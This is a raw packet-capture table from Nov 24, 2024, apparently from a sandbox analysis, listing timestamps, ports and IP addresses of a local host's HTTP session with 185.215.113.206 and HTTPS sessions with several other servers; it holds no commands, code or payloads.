Nov 24, 2024 04:20:20.411468983 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.411509991 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.411531925 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.411539078 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.411575079 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.413171053 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.413199902 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.420340061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.420372009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.420382977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.420449972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:20.420474052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.420491934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.420510054 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.420535088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:20.420535088 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:20.420574903 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:20.526546955 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.526565075 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.526638031 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.526640892 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.526689053 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.533479929 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.533500910 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.558787107 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.558810949 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.558857918 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.558914900 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.558938980 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.558948994 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.558975935 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.559001923 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.560551882 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.560578108 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.623604059 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.623631001 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.623650074 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.623694897 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.623723984 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.623743057 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.623770952 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.630541086 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.630645037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:20.631942034 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:20.751409054 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.794838905 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.794924974 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.797615051 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.797691107 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.797719955 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.797739029 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.801553965 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.801578999 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.801604033 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.801634073 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:21.088752985 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.088887930 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:21.110744953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:21.110893011 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:21.230281115 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.230422020 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.230473995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.230523109 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.230739117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.230788946 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.230818033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:21.647962093 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.648503065 CET	49728	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.648552895 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.650429010 CET	49728	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.650444031 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.654575109 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.655033112 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.655057907 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.655563116 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.655570984 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.656167030 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.656645060 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.656677961 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.657063961 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.657077074 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.689925909 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.697527885 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.697577000 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.697911978 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.697923899 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.751773119 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.752624035 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.752649069 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.753309011 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:21.753314972 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:21.928356886 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.928406000 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.928550959 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.936403036 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.936516047 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.936609983 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.936629057 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.936706066 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.937145948 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.976553917 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.976572037 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.977036953 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.977077961 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.984997034 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.985038996 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.985193014 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.985224009 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.985287905 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.985872984 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.985887051 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.991558075 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.991586924 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:21.991674900 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.992153883 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:21.992180109 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:22.096152067 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.096219063 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.096349001 CET	49728	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.096530914 CET	49728	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.096555948 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.096996069 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.097065926 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.097116947 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.097691059 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.097711086 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.097728968 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.097737074 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.099991083 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.100052118 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.100102901 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.100476980 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.100506067 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.100650072 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.100652933 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.100663900 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.100676060 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.100682974 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.103784084 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.103817940 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.103930950 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.103965998 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.103981018 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.105197906 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.105223894 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.105298996 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.105407000 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.105418921 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.105691910 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.105709076 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.124521017 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.124638081 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.124722958 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.124948025 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.124953985 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.124963999 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.124968052 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.126806974 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.126818895 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.126981974 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.127180099 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.127193928 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.199898958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.199975967 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.205344915 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.205424070 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.205467939 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.229466915 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.229491949 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.233691931 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.233731985 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.233834982 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.239909887 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:22.239933014 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:22.480617046 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:22.480669975 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:22.480817080 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:22.481532097 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:22.481545925 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:22.487248898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.606780052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.739450932 CET	443	49709	173.222.162.64	192.168.2.6
Nov 24, 2024 04:20:22.739712000 CET	49709	443	192.168.2.6	173.222.162.64
Nov 24, 2024 04:20:22.942183018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.942248106 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.942302942 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.942342997 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.946335077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.946388006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.946434975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.946475983 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.954736948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.954792976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.954799891 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.954838991 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.963149071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.963196039 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.963237047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.963337898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.971524954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.971540928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.971600056 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.971600056 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.979873896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.979924917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:22.979927063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:22.979970932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.067382097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.067420006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.067476988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.067504883 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.071508884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.071563005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.072307110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.072376013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.072417974 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.072460890 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.080710888 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.080760956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.080775976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.080822945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.086169958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.086219072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.086266041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.086317062 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.094536066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.094595909 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.094624043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.094662905 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.152647018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.152743101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.152769089 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.152811050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.156805992 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.156908035 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.156955004 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.165254116 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.165282011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.165344000 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.173160076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.173223019 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.173254013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.173307896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.181509018 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.181580067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.181623936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.181669950 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.189894915 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.189944029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.190000057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.190206051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.198290110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.198343039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.198396921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.202713013 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.202769995 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.202785969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.202833891 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.210680008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.210725069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.210774899 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.218631983 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.218702078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.218720913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.218857050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.224942923 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.225003004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.225037098 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.225037098 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.230649948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.230732918 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.282407045 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.282470942 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.282490969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.282555103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.285234928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.285312891 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.285331011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.285439014 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.290966034 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.291028023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.291073084 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.291125059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.296746016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.296806097 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.296835899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.296942949 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.302485943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.302547932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.302577019 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.302623987 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.308268070 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.308360100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.308396101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.308451891 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.314049959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.314131021 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.314172029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.314270973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.319781065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.319839954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.319885969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.320112944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.325556993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.325582027 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.325639963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.325684071 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.363148928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.363233089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.363249063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.363461971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.365010977 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.365056038 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.365098000 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.365142107 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.368783951 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.368835926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.368860006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.368901014 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.372503042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.372625113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.372641087 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.372952938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.376275063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.376429081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.376437902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.376488924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.380053043 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.380139112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.380146027 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.380393028 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.383773088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.383831024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.383876085 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.383924961 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.387515068 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.387574911 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.387670040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.387753010 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.391277075 CET	80	49718	185.215.113.206	192.168.2.6
